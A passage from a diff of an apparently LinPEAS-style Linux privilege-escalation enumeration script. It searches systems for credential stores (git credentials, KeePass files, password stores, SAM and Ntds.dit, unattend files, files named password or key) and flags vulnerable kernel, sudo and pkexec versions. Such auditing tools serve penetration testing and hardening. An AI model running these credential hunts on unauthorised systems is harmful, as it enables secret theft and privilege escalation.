"$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.env$" | sort | uniq | head -n 70) + PSTORAGE_MSMTPRC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.msmtprc$" | sort | uniq | head -n 70) + PSTORAGE_INFLUXDB=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "influxdb\.conf$" | sort | uniq | head -n 70) + PSTORAGE_ZABBIX=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "zabbix_server\.conf$|zabbix_agentd\.conf$|zabbix$" | sort | uniq | head -n 70) + PSTORAGE_GITHUB=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.github$|\.gitconfig$|\.git-credentials$|\.git$" | sort | uniq | head -n 70) + PSTORAGE_SVN=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.svn$" | sort | uniq | head -n 70) + PSTORAGE_KEEPASS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.kdbx$|KeePass\.config.*$|KeePass\.ini$|KeePass\.enforced.*$" | sort | uniq | head -n 70) + PSTORAGE_PRE_SHARED_KEYS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.psk$" | sort | uniq | head -n 70) + PSTORAGE_PASS_STORE_DIRECTORIES=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.password-store$" | sort | uniq | head -n 70) + PSTORAGE_FTP=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.ftpconfig$|ffftp\.ini$|ftp\.ini$|ftp\.config$|sites\.ini$|wcx_ftp\.ini$|winscp\.ini$|ws_ftp\.ini$" | sort | uniq | head -n 70) + PSTORAGE_BIND=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/etc|^/var|^/usr" | grep -E "bind$" | sort | uniq | head -n 70) + PSTORAGE_SEEDDMS=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "seeddms.*$" | sort | uniq | head -n 70) + PSTORAGE_DDCLIENT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "ddclient\.conf$" | sort | uniq | head -n 70) + PSTORAGE_KCPASSWORD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "kcpassword$" | sort | uniq | head -n 70) + PSTORAGE_SENTRY=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "sentry$|sentry\.conf\.py$" | sort | uniq | head -n 70) + PSTORAGE_STRAPI=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "environments$" | sort | uniq | head -n 70) + PSTORAGE_CACTI=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "cacti$" | sort | uniq | head -n 70) + PSTORAGE_ROUNDCUBE=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "roundcube$" | sort | uniq | head -n 70) + PSTORAGE_PASSBOLT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "passbolt\.php$" | sort | uniq | head -n 70) + PSTORAGE_JETTY=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "jetty-realm\.properties$" | sort | uniq | head -n 70) + PSTORAGE_WGET=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.wgetrc$" | sort | uniq | head -n 70) + PSTORAGE_INTERESTING_LOGS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "access\.log$|error\.log$" | sort | uniq | head -n 70) + PSTORAGE_OTHER_INTERESTING=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.bashrc$|\.google_authenticator$|hosts\.equiv$|\.lesshst$|\.plan$|\.profile$|\.recently-used\.xbel$|\.rhosts$|\.sudo_as_admin_successful$" | sort | uniq | head -n 70) + PSTORAGE_WINDOWS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "unattend\.inf$|.*\.rdg$|AppEvent\.Evt$|ConsoleHost_history\.txt$|FreeSSHDservice\.ini$|NetSetup\.log$|Ntds\.dit$|protecteduserkey\.bin$|RDCMan\.settings$|SAM$|SYSTEM$|SecEvent\.Evt$|appcmd\.exe$|bash\.exe$|datasources\.xml$|default\.sav$|drives\.xml$|groups\.xml$|https-xampp\.conf$|https\.conf$|iis6\.log$|index\.dat$|my\.cnf$|my\.ini$|ntuser\.dat$|pagefile\.sys$|printers\.xml$|recentservers\.xml$|scclient\.exe$|scheduledtasks\.xml$|security\.sav$|server\.xml$|setupinfo$|setupinfo\.bak$|sitemanager\.xml$|sites\.ini$|software$|software\.sav$|sysprep\.inf$|sysprep\.xml$|system\.sav$|unattend\.txt$|unattend\.xml$|unattended\.xml$|wcx_ftp\.ini$|ws_ftp\.ini$|web.*\.config$|winscp\.ini$|wsl\.exe$" | sort | uniq | head -n 70) + PSTORAGE_DATABASE=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/man/|/usr/|/var/cache/' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.db$|.*\.sqlite$|.*\.sqlite3$" | sort | uniq | head -n 70) + PSTORAGE_BACKUPS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "backup$|backups$" | sort | uniq | head -n 70) + PSTORAGE_PASSWORD_FILES=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*password.*$|.*credential.*$|creds.*$|.*\.key$" | sort | uniq | head -n 70) ##### POST SERACH VARIABLES ##### @@ -1160,7 +1305,7 @@ print_title "System Information" #-- SY) OS print_2title "Operative system" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits" (cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED}," warn_exec lsb_release -a 2>/dev/null if [ "$MACPEAS" ]; then @@ -1171,12 +1316,15 @@ echo "" #-- SY) Sudo print_2title "Sudo version" if [ "$(command -v sudo 2>/dev/null)" ]; then -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version" sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED}," else echo_not_found "sudo" fi echo "" +#-- SY) CVEs +print_2title "CVEs Check" + #-- SY) CVE-2021-4034 if [ `command -v pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ "$(stat -c '%Y' $(which pkexec))" -lt "1642035600" ]; then echo "Vulnerable to CVE-2021-4034" | sed -${E} "s,.*,${SED_RED_YELLOW}," @@ -1184,16 +1332,36 @@ if [ `command -v 